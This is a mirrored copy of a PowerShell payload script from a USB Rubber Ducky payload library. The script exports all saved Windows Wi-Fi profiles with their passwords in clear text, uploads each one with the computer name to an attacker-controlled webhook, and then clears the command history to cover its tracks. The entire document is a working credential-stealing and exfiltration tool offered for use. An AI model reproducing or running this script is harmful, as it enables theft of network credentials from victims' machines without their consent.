Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/credentials/WLAN-Windows-Passwords/v.2.0_by_truelockmc/script.ps1
2971 views
# Export-Verzeichnis
$exportDir = "$env:temp\SomeStuff"

# Sicherstellen, dass das Exportverzeichnis existiert
if (-not (Test-Path $exportDir)) {
    try {
        New-Item -ItemType Directory -Path $exportDir -Force
    } catch {
        Write-Host "Fehler beim Erstellen des Exportverzeichnisses: $_"
        return
    }
}

# WLAN-Profile exportieren (inkl. Schlüssel)
try {
    netsh wlan export profile key=clear folder=$exportDir
} catch {
    Write-Host "Fehler beim Exportieren der WLAN-Profile: $_"
    return
}

# Alle exportierten XML-Dateien lesen
$xmlFiles = Get-ChildItem -Path $exportDir -Filter "*.xml"
if ($xmlFiles.Count -eq 0) {
    Write-Host "Keine exportierten WLAN-Profile gefunden."
    return
}

# Webhook-Anfrage mit Datei-Upload
foreach ($xmlFile in $xmlFiles) {
    $fileContent = Get-Content -Path $xmlFile.FullName -Raw

    # Bereite die Daten vor
    $formData = @{
        "username" = "$env:COMPUTERNAME"
        "content"  = "Hier ist das WLAN-Profil: $($xmlFile.Name)"
    }

    $formDataFiles = @{
        "file" = New-Object System.IO.FileInfo($xmlFile.FullName)
    }

    # Setze Header für multipart/form-data
    $boundary = [System.Guid]::NewGuid().ToString()
    $contentType = "multipart/form-data; boundary=$boundary"
    $body = ""

    # Füge die Daten hinzu
    foreach ($key in $formData.Keys) {
        $body += "--$boundary`r`n"
        $body += "Content-Disposition: form-data; name=`"$key`"`r`n"
        $body += "`r`n"
        $body += "$($formData[$key])`r`n"
    }

    # Füge die Datei hinzu
    $body += "--$boundary`r`n"
    $body += "Content-Disposition: form-data; name=`"file`"; filename=`"$($formDataFiles['file'].Name)`"`r`n"
    $body += "Content-Type: application/octet-stream`r`n"
    $body += "`r`n"
    $body += [System.IO.File]::ReadAllText($formDataFiles['file'].FullName)
    $body += "`r`n"
    $body += "--$boundary--`r`n"

    # Wandeln Sie den Body in Byte-Daten um
    $bodyBytes = [System.Text.Encoding]::UTF8.GetBytes($body)

    # Senden Sie die Anfrage
    try {
        $response = Invoke-RestMethod -Uri $whuri -Method Post -Body $bodyBytes -Headers @{
            "Content-Type" = $contentType
        }
        Write-Host "Erfolgreich an den Webhook gesendet: $($xmlFile.Name)"
    } catch {
        Write-Host "Fehler beim Senden an den Webhook: $_"
    }
}

Clear-History